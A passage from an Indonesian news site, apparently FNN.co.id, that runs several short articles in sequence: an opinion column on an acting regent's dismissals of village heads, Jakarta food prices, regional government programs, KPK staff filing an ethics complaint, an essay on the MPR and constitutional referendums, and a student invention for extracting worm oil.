1 Agustus 2021 lalu. Kepala Desa sering mengikuti rapat yang dihadiri Yasin Payapo dan Timotius Akerina. Namun Akerina dendam karena merasa tidak dihargai. Dendam itulah yang berikat sang Kepala Desa terancam dicopot Akerina yang sekarang menjadi Plh Bupati SBB. Timotoius Akerina akan berakhir sebagai Plh atau Pejabat Bupati SBB nanti pada 22 Mei 2021 nanti. Dengan sisa waktu hanya tingga sembilan, bukan waktu yang tepat untuk mempruksi kegaduhan dan keterbelahan di tengah masyarakat. Bukan juga waktu yang tepat untuk takut kepada almarhum Yasin Payapo yang sudah menghadap Allaah Subhaanahu Wata’ala. Rangkul dan satukan kembali masyarakat Kabupaten SBB, dengan cara membatalkan semua pergantian pejabat, terutama Kepala Desa. Kecuali untuk yang mendesak karena kekosongan jabatan mereka yang pensiun, atatu mereka yang terlibat korupsi penyalahgunaan Dana Desa. Jangan biarkan masyarakat SBB imumnya turun hanya karena kebijakan yang penuh dendam. Gunakan waktu yang tersisa sumbulan bulan lagi ini untuk meninggalkan legesi bahwa Timotius Akerina dikenang sebagai pemimpin pemersatu rakyat SBB. Pemimpin yang selalu dibanggakan dan diagungkan, karena kebijakannya yang menyejukan. Sehingga imun masyarakat semakin kuat dalam menghadapi penyebaran pandemi Covid-19. Teman saya, seorang wartawan senior mengim pesan di Whats App, “kalau kelak ditaqdirkan menjadi pemimpin, tiupkanlah kembali kekuatan dan semangat kehidupan itu kepada mereka yang takut kehilangan jabatan akibat terjadi pergatian kepemimpinan, agar mereka kembali bersemangat dan loyal kepadamu”. Setelah itu tetap awasi mereka agar tidak membuat kebijakan yang merugikan kepentingan publik. Penulis adalah Wartawan FNN.co.id.

Pengamat: DKI Perlu Antisipasi Harga Pangan Naik Saat Pelonggaran PPKM

Jakarta, FNN - Pengamat ekonomi dari Institute for Development of Economics and Finance (Indef), Rusli Abdullah mengemukakan, Pemerintah Provinsi DKI Jakarta perlu mengantisipasi kenaikan harga pangan saat pelonggaran Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). "Banyak tempat usaha termasuk kafe, restoran boleh buka dan makan di tempat, meski ada batasan tapi ini memicu permintaan dari pelaku usaha," kata Rusli Abdullah di Jakarta, Sabtu. Menurut dia, permintaan yang mulai meningkat menandakan aktivitas ekonomi mulai bergeliat. Namun, di sisi lain mulai menggeliatnya sektor usaha khususnya makan dan minum, perlu diantisipasi pasokan yang memadai agar kenaikan harga bisa ditekan. Sedangkan berdasarkan data Informasi Pangan Jakarta yang diakses pada Sabtu pukul 14.45 WIB sebagian besar indikator harga pangan memerah atau mengalami kenaikan harga. Meski belum menjadi acuan untuk menggambarkan secara makro karena merupakan perkembangan harga harian, namun kenaikan harga tersebut perlu diantisipasi. "Ini karena perkembangan harian diperkirakan juga karena momentum akhir pekan dapat berkontribusi," katanya. Berikut ini harga rata-rata harian 13 komoditas pangan di DKI Jakarta pada Sabtu (21/8) dibandingkan Jumat (20/8) berdasarkan Informasi Pangan Jakarta yang diakses pukul 14.45 WIB. 1. Beras medium: Rp9.618 per kilogram (naik Rp18) Beras premium: Rp12.368 per kilogram (naik Rp197) 2. Minyak goreng: Rp14.214 per kilogram (turun Rp530) 3. Cabai merah keriting: Rp26.975 per kilogram (naik Rp230) 4. Cabai merah besar: Rp30.763 per kilogram (turun Rp58) 5. Cabai rawit merah: Rp34.750 per kilogram (turun Rp835) 6. Bawang merah: Rp33.000 per kilogram (turun Rp148) 7. Bawang putih: Rp29.325 per kilogram (turun Rp398) 8. Daging ayam ras: Rp37.027 per kilogram (naik Rp322) 9. Telur ayam ras: Rp24.150 per kilogram (naik Rp267) 10. Gula pasir: Rp13.812 per kilogram (naik Rp67) 11. Tepung terigu: Rp8.412 per kilogram (naik Rp306) 12. Daging sapi has: Rp135.138 per kilogram (naik Rp366) 13. Daging kambing: Rp130.000 per kilogram (naik Rp312). (mth)

Ketua DPD RI Tinjau "Command Center" Sumedang

Sumedang, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meninjau langsung Command Center Kabupaten Sumedang yang berada di Gedung Utama Setda Pemkab Sumedang, Jawa Barat, Sabtu, untuk mengetahui kondisi tempat tersebut yang selama ini berfungsi menjalankan sistem pemerintahan secara digital. "Saya lihat sangat bagus, menjadi solusi untuk meningkatkan pelayanan kepada masyarakat yang menuntut layanan serba cepat," kata LaNyalla didampingi Bupati Sumedang Dony Ahmad Munir. LaNyalla berharap percepatan transformasi digital di Kabupaten Sumedang semakin mempercepat pembangunan yang berjalan seiring dengan peningkatan kesejahteraan warga. "Tapi tentu yang kita lihat nanti adalah hasilnya, semoga mempercepat pembangunan dan kesejahteraan warga Sumedang," kata LaNyalla. Bupati Sumedang Dony Ahmad Munir menjelaskan bahwa big data di Command Center Sumedang tidak hanya menyajikan data secara digital tapi dijadikan informasi untuk pengambilan kebijakan. "Jadi tidak hanya pemantauan CCTV saja. Ini sangat lengkap. Data-data tersebut kita gunakan untuk mengambil kebijakan berdasar fakta, knowledge, insight, dan ' wisdom," katanya. Ia menyampaikan berbagai aplikasi yang menyangkut pelayanan publik dan pemerintahan sudah terintegrasi di Command Center dengan berbagai program pelayanan digital yang diberi nama e-Office, e-Sakip, Markonah, Mauneh, Maijah, Mauti, Amari, Tahu Sumedang, dan Sitabah. "Data-data disajikan lengkap by name by addres," kata Dony. Ia menyampaikan pemanfaatan teknologi informasi berguna untuk mewujudkan Sistem Pemerintahan Berbasis Elektronik (SPBE) yang dapat mempermudah dan mempercepat pelayanan yang efektif. Seperti di Command Center, kata Bupati, ada penilaian pegawai, dari mulai Sekda sampai staf golongan I, sehingga bisa digunakan untuk memutuskan pegawai terbaik tanpa testing lagi. Kelebihan lainnya adalah adanya aplikasi e-office, sistem penanggulangan kekerdilan (stunting), perizinan, pariwisata dan lainnya. (mth)

Pemkab Selesaikan Pembangunan 50 Rumah untuk Warga Leo-leo Morotai

Ternate, FNN - Pemerintah Kabupaten (Pemkab) Pulau Morotai, Maluku Utara (Malut) menyelesaikan pembangunan sebanyak 50 unit rumah tipe-36 yang diperuntukkan bagi warga Desa Leo-Leo melalui inovasi penerapan teknologi penyelenggaraan infrastruktur PUPR. "Tentunya pembangunan 50 unit rumah dianggarkan senilai Rp20 miliar bagi warga ini merupakan hadiah ke pemkab dan dimanfaatkan untuk pembangunan dua kompleks perumahan masing masing berisikan 50 unit rumah type 36 lengkap dengan listrik dan air terpasang yang dibagikan secara gratis kepada warga yang belum memiliki rumah," kata Bupati Pulau Morotai, Benny Laos dihubungi dari Ternate, Sabtu. Menurut dia, bonus tersebut diberikan setelah Pemkab Pulau Morotai mendapat penghargaan dari Kementerian PUPR sebagai Juara II Inovasi Penerapan Teknologi Penyelengaraan Infrastruktur PUPR" dalam Pembangunan Konstruksi Talud di Water Front City Daruba. "Pada bulan September 2019, Kabupaten Pulau Morotai mendapatkan penghargaan dari Kementerian PUPR dan kemudian diberikan hadiah sebesar Rp20 miliar," ujarnya. Sehingga, pada Jumat (20/8) telah diresmikan salah satu dari perumahan tersebut di Desa Leo Leo, masyarakat sudah menempati perumahan ini sejak 3 bulan yang lalu. Diketahui, pembangunan 50 unit rumah baru tipe 36 tersebut merupakan kado istimewa dari Bupati bagi Masyarakat Desa Leo-Leo, karena anggarannya didapat dari bonus pemerintah pusat. "Perumahan tipe 36 di Desa Leo-Leo ini dibangun dari anggaran bonus yang diberikan Kementerian PUPR kepada Pemkab Pulau Morotai pada tahun 2019," ujarnya. Rumah dibagikan gratis tanpa ada biaya administrasi dan kepada masyarakat yang belum memiliki rumah dan miliki lahan dapat diberi bantuan bangun RTLH oleh Pemkab Pulau Morotai. (mth)

Menkop UKM Apresiasi Korporatisasi Pertanian di Purbalingga

Purbalingga, FNN - Menteri Koperasi dan UKM Teten Masduki mengapresiasi upaya korporatisasi pertanian yang dilakukan petani di Kabupaten Purbalingga, Jawa Tengah, melalui pembukaan gerai pasar "Tani Bangga Store" dan ekspor komoditas pertanian. Saat memberi keterangan pers usai meresmikan gerai pasar "Tani Bangga Store" dan pelepasan ekspor buncis kenya di Purbalingga, Jateng, Sabtu, Teten mengatakan sektor pertanian banyak menyerap lapangan kerja karena lebih dari 50 persen UMKM itu ada di sektor pertanian. "Karena itu, maka kita perlu memperkuat model bisnis di sektor pertanian ini dan saya hadir di sini dengan senang hati, ada local hero, penggerak pertanian di Purbalingga yang sudah berhasil membangun bisnis model yang baik meskipun masih banyak yang harus dikembangkan dan sekarang produknya sudah masuk ke pasar luar," katanya. Menurut dia, Purbalingga yang memiliki potensi lahan pertanian yang luas dan sudah ada model serta local hero-nya, sehingga petani setempat sudah tidak perlu lagi mencari model-model yang lain "Kami berkomitmen bersama pemerintah daerah, provinsi dan kabupaten, untuk mengembangkan ini menjadi salah satu piloting korporatisasi petani di tingkat nasional," kata Teten. Ia mengatakan Lembaga Pembiayaan Dana Bergulir (LPDB) Kementerian Koperasi dan UKM nantinya yang akan menjadi mitra untuk pengembangan model bisnis dari korporatisasi pertanian tersebut. Dalam hal ini, Teten meminta untuk segera dibangun model bisnisnya supaya hulu dan hilirnya tertata dengan baik sehingga bisa tumbuh. "Saya kira market produk-produk pangan baik dalam negeri maupun luar negeri sangat besar sekali. Kalau kita bisa menguasai market dalam negeri, apalagi kita bisa masuk ke market luar, saya kira ini bisa menyejahterakan masyarakat kita dan petani-petani kita," katanya. Sebelum meresmikan gerai "Tani Bangga Store" dan pelepasan ekspor buncis kenya dengan negara tujuan Singapura, Menkop-UKM Teten Masduki didampingi Direktur Utama LPDP Kemenkop Supomo dan Bupati Purbalingga Dyah Hayuning Pratiwi memanen buncis kenya di Desa Kutabawa, Kecamatan Karangreja. Dalam kesempatan terpisah, penggerak pertanian lokal atau local hero, Ngahadi Hadi Prawoto mengatakan kegiatan tersebut dilatarbelakangi oleh kehidupan orang tuanya yang seorang petani. "Kebetulan kita melihat bahwa mereka itu sangat kesusahan untuk market-nya, cara budi dayanya. Kita berusaha hadir untuk mereka," katanya. Ia mengaku menjadi penggerak pertanian dengan membudidayakan buncis kenya sejak 2014 hingga akhirnya dapat menembus pasar ekspor pada awal 2017 dengan negara tujuan Singapura hingga sekarang. "Komoditas buncis kenya yang pelepasan ekspornya dilakukan hari ini sebanyak 7,5 kuintal. Kami lakukan ekspor setiap hari sebanyak 7,5 kuintal," katanya. Selain ekspor ke Singapura, kata dia, pihaknya juga telah memasok produk pertanian asal Purbalingga lainnya ke sejumlah pasar modern dan pasar industri. "Untuk pasar industri, kami sudah suplai ke Wings Food sebanyak 20 ton pada tahun 2020," katanya menambahkan. Ia mengatakan saat ini, pihaknya mulai mengembangkan pasar lokal khususnya di wilayah Banyumas Raya dengan dibukanya gerai pasar tani "Tani Bangga Store". Sementara itu, Kepala Dinas Pertanian Kabupaten Purbalingga Mukodam mengatakan lahan yang digunakan untuk budi daya buncis kenya di Purbalingga saat sekarang telah mencapai kisaran 100 hektare. "Tapi, lahan tersebut terpencar di beberapa tempat karena ini misinya pemberdayaan sebagai pengembangan. Nanti, kalau petani ada yang sudah membuktikan bahwa itu bagus, nanti akan diikuti oleh petani-petani di sekitarnya," katanya. Ia mengatakan secara ekonomis, budi daya buncis kenya dapat mendongkrak penghasilan petani karena dari luas lahan 1.200 meter persegi di Desa Kutabawa, Kecamatan Karangreja, dengan ongkos produksi sekitar Rp3 juta dapat menghasilkan Rp8 juta hingga Rp10 juta. Bahkan, kata dia, tanaman buncis kenya dalam sekali tanam bisa dipanen hingga 15-16 kali yang tergantung pada pemeliharaan dan pemupukan. "Pemupukannya bagus, nanti masa panennya akan lebih banyak," katanya. Terkait dengan pembukaan gerai "Tani Bangga Store", Mukodam mengatakan hal itu sebagai salah satu solusi agar harga produk-produk pertanian yang selama ini labil dapat tertolong. Menurut dia, masyarakat bisa membeli sayuran atau produk pertanian lainnya yang dihasilkan petani Purbalingga dengan kualitas premium di gerai pasar tani tersebut. "Mudah-mudahan ini berkembang dengan baik, tidak hanya di satu lokasi," katanya. (mth)

Pemkot Batu Ajak Anak-anak Tanam Pohon Jaga Kelestarian Lingkungan

Kota Batu, Jawa Timur, FNN - Pemerintah Kota Batu mengajak anak-anak yang ada di wilayah Kota Batu, Jawa Timur, untuk turut serta menjaga kelestarian lingkungan dengan melakukan gerakan satu nama satu pohon. Wali Kota Batu Dewanti Rumpoko, di Kota Batu, Sabtu, mengatakan bahwa dalam gerakan penanaman pohon satu nama, satu pohon tersebut, dilakukan oleh anak-anak yang tinggal di Dusun Krajan, Kampung Ramah Anak, di Desa Punten, Kecamatan Bumiaji. "Gerakan penanaman pohon berjuluk satu nama, satu pohon ini menjadi momentum pelestarian lingkungan di Kota Batu," kata Dewanti. Pada pelaksanaan program satu nama satu pohon di Dusun Krajan tersebut, anak-anak yang terlibat melakukan penanaman pohon durian. Pohon durian yang ditanam itu, masih dalam bentuk bibit. Menurutnya, penamaan pohon yang ditanam oleh anak-anak tersebut, bertujuan agar menimbulkan rasa memiliki, dan kepedulian terhadap lingkungan, khususnya pada pohon yang ditanam oleh anak-anak itu. "Penamaan ini agar menimbulkan rasa memiliki, dan peduli terhadap kesinambungan tumbuh kembang pohon, dan secara luas terhadap lingkungan," katanya. Identitas anak yang melakukan penanaman pohon tersebut, akan dicantumkan pada tanaman yang ditanamnya. Sesuai dengan rekomendasi, bibit pohon yang ditanam oleh anak tersebut adalah pohon yang nantinya menghasilkan buah. Dewanti menambahkan, program satu nama satu pohon tersebut, merupakan bentuk kerja sama antara Pemerintah Kota Batu dengan Among Tani Foundation (ATF). Program tersebut bertujuan untuk meningkatkan kesadaran masyarakat terhadap pelestarian lingkungan. "Program ini, diatasnamakan oleh anak-anak yang berada di Dusun Krajan. Nantinya, akan menjadi cerita pada saat mereka besar, dan buahnya bisa dipanen," ujarnya. Program hasil kerja sama tersebut, nantinya akan dilakukan di seluruh wilayah Kota Batu, dengan berbagai jenis pohon. Pohon yang ditanam, nantinya akan menghasilkan buah yang bisa dipanen oleh si penanam pohon tersebut. Gerakan satu nama satu pohon tersebut, merupakan upaya Pemerintah Kota Batu, bersama Among Tani Foundation untuk mengembalikan keasrian salah satu kota unggulan wisata di wilayah Jawa Timur itu. (mth)

Pegawai Nonaktif KPK Laporkan Pegawai KPK ke Dewan Pengawas

Jakarta, FNN -- Perwakilan 57 pegawai nonaktif KPK melaporkan Wakil Ketua KPK Alexander Marwata ke Dewan Pengawas KPK karena diduga melakukan pelanggaran etik. "Perwakilan 57 pegawai nonaktif KPK telah mengirimkan dua surat kepada Dewas Pengawas. Laporan pertama adalah dugaan pelanggaran etik dan perilaku oleh Wakil Ketua KPK AM (Alexander Marwata)," kata perwakilan 57 pegawai, Hotman Tambunan, melalui pernyataan tertulis di Jakarta, Sabtu. Menurut Hotman, Alexander diduga melakukan pelanggaran terhadap kode etik dan pedoman perilaku karena melakukan konferensi pers yang bermuatan pencemaran nama baik atau penghinaan bagi 51 pegawai nonaktif pada tanggal 25 Mei 2021. Pernyataan Alex yang diduga melanggar etik yaitu "...sedangkan yang 51 orang, kembali lagi dari asesor, itu sudah warnanya merah dan tidak memungkinkan untuk dilakukan pembinaan...". "Pernyataan 'warnanya sudah merah dan tidak bisa dilakukan pembinaan' yang disematkan kepada 51 orang pegawai KPK yang dianggap tidak memenuhi syarat menjadi ASN telah merugikan," ungkap Hotman. Menurut Hotman, semua pegawai yang 51 orang dengan mudah teridentifikasi dengan tidak diangkatnya 75 yang dianggap tidak memenuhi syarat oleh Badan Kepegawaian Negara (BKN) dan 24 nama pegawai yang dianjurkan untuk mengikuti pelatihan. Hotman menyebut perbuatan tersebut diduga telah melanggar kode etik dan pedoman perilaku insan KPK, yaitu nilai dasar keadilan, Pasal 6 Ayat (2) Huruf d; Pasal 6 Ayat (1) Huruf a; Pasal 8 Ayat (2) dan Pasal 4 Ayat (1) Huruf c; Laporan dugaan pelanggaran etik itu diajukan oleh tujuh pegawai yang menjadi perwakilan 57 pegawai KPK pada tanggal 18 Agustus 2021. Mereka adalah Harun Al Rasyid, Yudi Purnomo, Sujanarko, Aulia Postiera, Novel Baswedan, Rizka Anungnata, dan Rasamala Aritonang. Perwakilan pegawai juga mengirimakn surat "Permohonan Pengawasan Pelaksanaan Tindakan Korektif Ombudsman dan Rekomendasi Komnas HAM" pada tanggal 19 Agustus 2021. "Ombudsman RI telah melakukan pemeriksaan sesuai dengan kewenangannya dan menyatakan adanya maladministrasi dalam pelaksanaan TWK berupa ketidaktaatan dan pengabaian pada peraturan perundang-undangan, kesalahan prosedur, dan penyalahgunaan wewenang," ungkap Hotman. Sementara itu, Komnas HAM telah telah melakukan pemeriksaan sesuai dengan kewenangannya dan menyatakan adanya 11 pelanggaran HAM pada pegawai KPK dalam pelaksanaan TWK berupa. Kesebelas hak yang dilanggar adalah hak atas keadilan dan kepastian hukum; hak perempuan; hak untuk tidak didiskriminasi; hak atas kebebasan beragama dan berkeyakinan; hak atas pekerjaan; hak atas rasa aman. Selanjutnya, hak atas informasi; hak atas privasi; hak atas kebebasan berkumpul dan berserikat; hak untuk berpartisipasi dalam pemerintahan; dan hak atas kebebasan berpendapat. Atas temuan-temuan tersebut, Ombudsman RI dan KomnasHAM RI telah memberikan tindakan korektif dan rekomendasi untuk dilaksanakan oleh Pimpinan KPK. "Dalam hubungan dengan pelaksanaan tindakan korektif dan rekomendasi dari Ombudsman RI dan KomnasHAM RI itu mohon kiranya agar Dewas dapat melakukan pengawasan terhadap pelaksanaannya agar tepat waktu dan untuk menghindari kerugian dan tindakan sewenang-wenang lebih lanjut pada pegawai KPK," ungkap Hotman. Permohonan itu disampaikan, menurut Hotman, agar KPK dalam melaksanakan tugas dan wewenangnya selalu berjalan berdasarkan asas pelaksanaan tugas dan wewenang yang telah ditentukan sebagaimana disebut dalam Pasal 5 Undang-Undang Nomor 19 Tahun 2019 tentang KPK, yaitu untuk memastikan tegaknya hukum dan kepercayaan publik atas lembaga KPK. (sws)

Rakyat Menggugat: MPR Bukan Pemilik Hakiki Kedaulatan Rakyat

Oleh: Anthony Budiawan (Managing Director Political Ecoomy and Policy Studies (PEPS) SEBELUM 17 Agustus 1945, negara Indonesia belum berdiri. Pemerintah (Indonesia) belum ada. Pada 17 Agustus 1945, sekelompok masyarakat Indonesia, yang berjuang untuk kemerdekaan Indonesia, mendeklarasikan berdirinya negara Republik Indonesia yang merdeka, dari Sabang sampai Merauke. Sekelompok masyarakat ini, yang mendapat kepercayaan dari seluruh rakyat (Indonesia), sepakat untuk membentuk pemerintah, berdasarkan butir-butir kesepakatan yang dituangkan di dalam produk hukum Undang-Undang Dasar (UUD), yang menjadi pegangan hukum bagi semua pihak, bagi rakyat dengan pemerintah yang dibentuknya, dan senantiasa harus ditaati. Berarti, kesepakatan sekelompok masyarakat yang dituangkan menjadi UUD tersebut pada dasarnya adalah kontrak sosial antar-masyarakat. Sedangkan pemerintah, yaitu presiden dan segenap pembantunya, adalah pihak yang ditunjuk untuk menjalankan kesepakatan kontrak sosial (UUD) antar- masyarakat ini. Untuk menyeimbangi kekuasaan presiden agar selalu berada dalam koridor kesepakatan kontrak sosial (UUD). Kontrak sosial juga sepakat menunjuk perwakilan rakyat yang disebut Dewan Perwakilan Rakyat (DPR) serta membentuk Majelis Permusyawaratan Rakyat (MPR), yang terdiri dari anggota DPR ditambah utusan golongan dan utusan daerah, yang sekarang (setelah amandemen UUD) menjadi Perwakilan Daerah. DPR dan MPR mempunyai wewenang yang berbeda. DPR mengawasi jalannya pemerintahan antara lain pembentukan peraturan perundang-undang yang diperlukan negara. MPR berwenang antara lain memilih dan memberhentikan presiden. Seusai kontrak sosial (UUD) yang disepakati pada 17 Agustus 1945, yang mana wewenang MPR tersebut sekarang sudah diamputasi sendiri oleh MPR, melalui amandemen UUD (atau kontrak sosial). Pertanyaannya, apakah amandemen UUD tersebut sah? Apakah MPR dapat mengubah kontrak sosial antar- masyarakat yang disepakati pada 17 Agustus 1945 tanpa melibatkan masyarakat secara langsung? Apakah MPR sebagai perwakilan rakyat dapat menjelma menjadi rakyat, sebagai pemegang kedaulatan rakyat dalam mengubah Kontrak Sosial (UUD)? MPR periode 1982 – 1987 yang dipimpin oleh Amir Machmud sebagai ketua MPR berpendapat bahwa MPR tidak berwenang mengubah kontrak sosial (UUD) tanpa melibatkan rakyat secara langsung dan sebagai pemilik kedaulatan yang sebenarnya. Oleh karena itu, MPR mengeluarkan Ketetapan (TAP) MPR No IV/MPR/1983 tentang referendum. Pasal 2 menyatakan "Apabila MPR berkehendak untuk mengubah UUD 1945, terlebih dahulu harus meminta pendapat rakyat melalui Referendum". Presiden Soeharto sebagai mandataris MPR ketika itu menjalankan perintah MPR sepenuhnya dengan menerbitkan UU No 5 Tahun 1985 tentang Referendum untuk perubahan UUD. Ketika Presiden Soeharto mengundurkan diri, banyak pihak yang ingin mengubah dan menghancurkan kontrak sosial antar- masyarakat tertanggal 17 Agustus 1945. MPR pimpinan Harmoko periode 1 Oktober 1997 hingga 30 September 1999 mengeluarkan TAP MPR No VIII/MPR/1998 pada 13 November 1998 yang isinya mencabut TAP MPR tentang Referendum. Dengan demikian, UU No 5 Tahun 1985 tentang Referendum kehilangan dasar hukum, dan Presiden Habibie ketika itu “terpaksa” mencabut UU tersebut dengan menerbitkan UU No 6 Tahun 1998 tentang pencabutan UU No 5 tahun 1985. Alasan pencabutan TAP MPR tentang referendum tersebut karena referendum melanggar hak MPR. Pertama, melanggar Pasal 1 ayat (2) UUD bahwa kedaulatan adalah di tangan rakyat, dan dilakukan sepenuhnya oleh Majelis Permusyawaratan Rakyat. dan kedua, MPR mempunyai wewenang untuk mengubah UUD seperti tercantum pada Pasal 37 UUD. Referendum dianggap mengamputasi hak MPR tersebut. Dampaknya, terjadi perubahan yang sangat mendasar terhadap isi kontrak sosial (UUD) tertanggal 17 Agustus 1945, di mana MPR bahkan mengamputasi sendiri secara suka rela wewenangnya sebagai wakil rakyat, sebagai “pemilik” kedaulatan rakyat. Di mana MPR tidak mempunyai wewenang lagi untuk memberhentikan presiden apabila dianggap melanggar kesepakatan kontrak sosial (UUD). Hal ini juga berarti, MPR melanggar kontrak sosial tertanggal 17 Agustus 1945. MPR tidak menjalankan tugas yang diberikan kepadanya untuk menegakkan kontrak sosial (UUD), sehingga MPR tidak layak lagi menjadi pemegang kedaulatan rakyat. Karena MPR saat ini hanya berfungsi sebagai pelaksana (tukang) lantik, pelaksana berhentikan presiden kalau diminta DPR, dan pelaksana mengubah UUD tanpa melibatkan rakyat sebagai pemilik kedaulatan sebenarnya. Menurut pendapat saya, dan sekaligus sebagai pembuka diskusi publik, referendum untuk mengubah kontrak sosial (UUD) tidak melanggar hak MPR. Tidak melanggar kontrak sosial (UUD) 17 Agustus 1945. Karena, pertama MPR masih mempunyai wewenang untuk mengubah UUD sesuai Pasal 37. Tetapi, ada persyaratan tambahan, yaitu sebelum mengubah UUD rakyat harus tahu apa yang akan diubah dan memberi persetujuan atas topik yang mau diubah tersebut. Karena hal ini berkaitan dengan kontrak sosial antar-masyarakat. Kedua, bertanya langsung kepada rakyat (referendum) sebagai pemilik kedaulatan yang sebenarnya tidak melanggar Pasal 1 ayat 2 UUD yang mengatakan kedaulatan rakyat dilakukan sepenuhnya oleh MPR. Karena, “dilakukan sepenuhnya oleh MPR” bukan berarti terjadi pengalihan hak dari rakyat kepada MPR secara abosult dan permanen. Oleh karena itu, untuk hal-hal penting yang menentukan nasib rakyat di masa depan seperti perubahan kontrak sosial (UUD), MPR bahkan harus melibatkan rakyat secara langsung tanpa melalui perwakilan, melainkan melalui referendum, termasuk kemungkinan referendum mosi tidak percaya baik terhadap eksekutif maupun kepada pimpinan DPR dan MPR. --- 000 ---

Mahasiswa UB Buat Terobosan Teknologi Pembuatan Minyak Cacing

Malang, Jawa Timur, FNN - Lima mahasiswa dari dua fakultas Universitas Brawijaya (UB), Malang, Jawa Timur membuat terobosan teknologi pembuatan minyak cacing berbasis metode elektroporasi sel yang diberi nama High Intensity Cold Corona (HI-CC). Kelima mahasiswa yang tergabung dalam Tim Program Kreativitas Mahasiswa (PKM) Penerapan IPTEK Fakultas Teknologi Pertanian di bawah bimbingan dosen Angky Wahyu Putranto itu adalah Clara Dwi Anggraini (TEP 2018), M. Usman Sihab (TIP 2018), Maulana A’inul Yaqin (TIP 2018), Wafa Nida Faida Azra (TEP 2018), Fitria Najmi Fathin (TIP 2019). "Teknologi HI-CC memiliki keunggulan, di antaranya mampu mengekstrak cacing yang dapat mempertahankan kandungan minyak cacing, menghasilkan rendemen yang tinggi dari 5 persen menjadi 23 persen dengan proses singkat selama 4 jam dan penggunaan energi yang jauh lebih murah" kata koordinator tim, Clara Dwi Anggraini di Malang, Sabtu. Teknologi yang mereka buat itu untuk membantu menyelesaikan permasalahan CV Rumah Alam Jaya (RAJ) Organik melalui teknologi ekstraksi bernama HI-CC. Ia mengatakan cacing tanah (Lumbricus rubellus) adalah cacing yang memiliki kelebihan tidak berbau, cepat berkembang biak, tumbuh subur, dan mudah beradaptasi. Cacing ini memiliki manfaat yang besar, baik dibidang kesehatan maupun kosmetik, sehingga memiliki daya jual tinggi. Budi daya cacing ini dimanfaatkan CV RAJ Organik di Kecamatan Sukun, Kota Malang, Jawa Timur. Clara mengemukakan teknologi HI-CC merupakan alat ekstraksi menggunakan prinsip kerja elektroporasi sel pada sistem radiasi tegangan tinggi. Kata Cold Corona berarti adanya lecutan listrik yang berpindah dari satu elektroda ke elektroda lainnya tanpa menghasilkan panas, sehingga tidak merusak produk. Ia menjelaskan teknologi ini memiliki dua chamber utama dan alat distilasi. Chamber tersebut meliputi Chamber HI-CC dan press chamber. Pada chamber pertama akan dilakukan elektroporasi pada radiasi tegangan tinggi, yakni tegangan input sebesar 15-20V dan tegangan output 43-50kV selama 30 detik dan frekuensi 1 Hz. Press Chamber berfungsi sebagai chamber penyaring untuk memisahkan minyak dan ampas cacing. Cara kerja alat ini, lanjutnya, dengan mencampurkan tepung cacing dan coconut oil sebagai pelarut pada chamber pertama, di dalam chamber ini akan dilakukan proses elektroporasi sel selama 30 detik pada suhu 400C serta pengadukan menggunakan stirrer untuk menghomogenkan bahan dan mengoptimalkan proses radiasi tegangan tinggi. "Hasil ekstraksi dituangkan pada chamber pressure yang terdapat jaring-jaring untuk menyaring antara ampas cacing dan minyak. Setelah itu, minyak hasil penyaringan akan didistilasi agar menghasilkan minyak cacing murni," ujarnya. Pemilik CV RAJ Organik, Adam mengatakan produksi cacing setiap hari mencapai 1-2 ton cacing segar, dengan produk olahan cacing unggulan, salah satunya minyak cacing. "Permintaan minyak cacing khususnya di bidang kesehatan, industri sabun dan kosmetik mengalami kenaikan yang signifikan terutama di era pandemi. Namun, permasalahan ada produksi minyak cacing yang belum dapat teratasi, sehingga tidak bisa memenuhi pasar dan kualitas minyak cacing yang belum baik," tuturnya. Permasalahan tersebut meliputi nilai rendemen yang rendah hanya sebesar 5 persen, proses produksi yang tidak optimal dan waktu produksi yang lama, sehingga memerlukan energi yang besar dalam satu kali proses. Sementara itu, dosen pembimbing tim, Angky Wahyu Putranto mengatakan teknologi ini memiliki potensi besar untuk dikembangkan, khususnya pada produksi minyak cacing agar memiliki kualitas tinggi, waktu yang cepat dan biaya proses yang terjangkau. "Harapan kami, dengan adanya teknologi HI-CC ini dapat membantu permasalahan CV RAJ Organik ini,” katanya. (mth)

BRI Dorong Pelaku UMKM Miliki Nomor Induk Berusaha

Jakarta, FNN - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI mendorong pelaku UMKM memiliki nomor induk berusaha (NIB) yang terintegrasi dengan sistem Online Single Submission (OSS) Berbasis Risiko milik Kementerian Investasi/BKPM. Direktur Bisnis Mikro BRI Supari mengatakan BRI bekerja sama dengan BKPM untuk menghadirkan pelaku UMKM terpilih melakukan uji coba sistem OSS sejak Juni-Juli 2021. "Kami menindaklanjuti kerja sama dan kolaborasi Kementerian BUMN dengan Kementerian Investasi/BKPM demi memperkuat UMKM Indonesia, sehingga UMKM bisa naik kelas, bahkan go global," ujarnya dalam keterangan resmi yang diterima di Jakarta, Sabtu. Supari menjelaskan pada 18 Agustus 2021, Kementerian Investasi dan Kementerian BUMN menandatangani Perjanjian Kerja Sama (PKS) tentang Pelaksanaan Teknis Koordinasi Tugas dan Fungsi Lingkup Kementerian BUMN dan Kementerian Investasi/BKPM. Melalui PKS tersebut kedua pihak dapat melakukan pertukaran data dan informasi antara sistem OSS dengan platform Pasar Digital (PaDi) UMKM milik Kementerian BUMN. Pada hari yang sama, BRI melakukan sosialisasi NIB-New OSS Berbasis Risiko untuk mendukung program peningkatan kontribusi dan kolaborasi BUMN dengan UMKM agar mempercepat pemulihan perekonomian nasional. Sosialisasi dilakukan melalui seminar daring kepada seluruh perwakilan unit kerja BRI yang mencakup kantor wilayah BRI, 500 kantor cabang dan lebih dari 1.000 Kantor BRI Unit di seluruh Indonesia dengan total peserta lebih dari 1.700 orang. Hal tersebut membuktikan bahwa BRI benar-benar serius dalam mendorong pelaku UMKM untuk naik kelas bahkan produknya bisa menembus pasar ekspor. "Selama ini, akibat kendala legalitas, seperti tidak memiliki NIB, membuat pelaku UMKM sulit bermitra dengan BUMN dan menghambat langkah pengembangan usaha," kata Supari. Kementerian Investasi mencatat sejak dioperasikannya sistem OSS Berbasis Risiko telah menerbitkan 36.629 NIB pada 4-18 Agustus 2021. Dari jumlah tersebut, usaha mikro mendominasi sebanyak 35.980 unit, kemudian usaha kecil 506 unit serta usaha menengah sebanyak 66 unit. Melalui OSS Berbasis Risiko diharapkan membantu pelaku UMKM memiliki legalitas dan tata kelola usaha yang lebih baik. "UMKM porsinya sangat besar dengan kemampuan menyerap hingga sekitar 130 juta tenaga kerja, jika terus dibina dan didorong perkembangannya melalui campur tangan pemerintah secara langsung, akan menumbuhkan 